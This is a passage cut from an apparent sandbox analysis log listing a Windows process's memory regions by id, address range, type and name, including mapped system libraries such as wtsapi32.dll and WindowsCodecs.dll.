0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7124 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 7125 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 7126 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 7127 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 7128 start_va = 0x1bab0000 end_va = 0x1babffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bab0000" filename = "" Region: id = 7129 start_va = 0x1bac0000 end_va = 0x1bacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bac0000" filename = "" Region: id = 7130 start_va = 0x1bad0000 end_va = 0x1badffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bad0000" filename = "" Region: id = 7131 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7132 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7134 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7135 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 7136 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 7137 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 7138 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 7139 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7141 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7142 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7143 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7144 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7145 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7146 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7147 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 7148 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 7149 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 7150 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 7152 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 7153 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7154 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7155 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7156 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7157 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7159 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7160 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7161 start_va = 0x7ffb031f0000 end_va = 0x7ffb03216fff monitored = 1 entry_point = 0x7ffb031fdfc0 region_type = mapped_file name = "corperfmonext.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CORPerfMonExt.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\corperfmonext.dll") Region: id = 7162 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7163 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7165 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7166 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7167 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7168 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7169 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7170 start_va = 0x7ffb1ae60000 end_va = 0x7ffb1ae72fff monitored = 0 entry_point = 0x7ffb1ae62760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 7171 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7172 start_va = 0x1e0a0000 end_va = 0x1e19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e0a0000" filename = "" Region: id = 7173 start_va = 0x1e1f0000 end_va = 0x1e1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1f0000" filename = "" Region: id = 7174 start_va = 0x1b160000 end_va = 0x1b17dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7175 start_va = 0x1ee00000 end_va = 0x1f5fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ee00000" filename = "" Region: id = 7176 start_va = 0x1b180000 end_va = 0x1b1a5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b180000" filename = "" Region: id = 7177 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7178 start_va = 0x1d8a0000 end_va = 0x1d99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8a0000" filename = "" Region: id = 7179 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7180 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7181 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7183 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7184 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7185 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7186 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7187 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7188 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7189 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7190 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7191 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7192 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7193 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7194 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7195 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7196 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7197 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7198 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7199 start_va = 0x7ffb19b30000 end_va = 0x7ffb19ce0fff monitored = 0 entry_point = 0x7ffb19bc61a0 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 7200 start_va = 0x1dca0000 end_va = 0x1dd9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dca0000" filename = "" Region: id = 7202 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7203 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 7204 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7205 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7206 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 7207 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7208 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7209 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7210 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7211 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7212 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7213 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7214 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7215 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7216 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7217 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7218 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7219 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7220 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7221 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7222 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7223 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7224 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7225 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7226 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7228 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7229 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 7230 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7231 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7232 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7233 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7234 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7235 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7236 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7237 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7238 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7239 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7240 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7241 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7242 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7243 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7244 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7245 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7246 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7247 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7248 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7249 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7250 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7251 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7252 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7253 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7254 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7255 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7256 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7257 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7258 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7259 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7260 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7261 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7262 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7263 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7264 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7265 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7267 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7268 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7269 start_va = 0x1b190000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 7270 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7271 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7272 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7273 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7274 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7275 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7276 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7277 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7278 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7279 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7280 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7281 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7282 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7283 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7284 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7285 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7286 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7287 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7288 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7290 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 7291 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b180000" filename = "" Region: id = 7292 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7293 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7294 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7295 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7296 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7297 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7298 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7299 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7300 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7301 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7302 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7303 start_va = 0x1b160000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7304 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7305 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7306 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7307 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7308 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7309 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7310 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7311 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7312 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7313 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7314 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7315 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7316 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7317 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7318 start_va = 0x1ba70000 end_va = 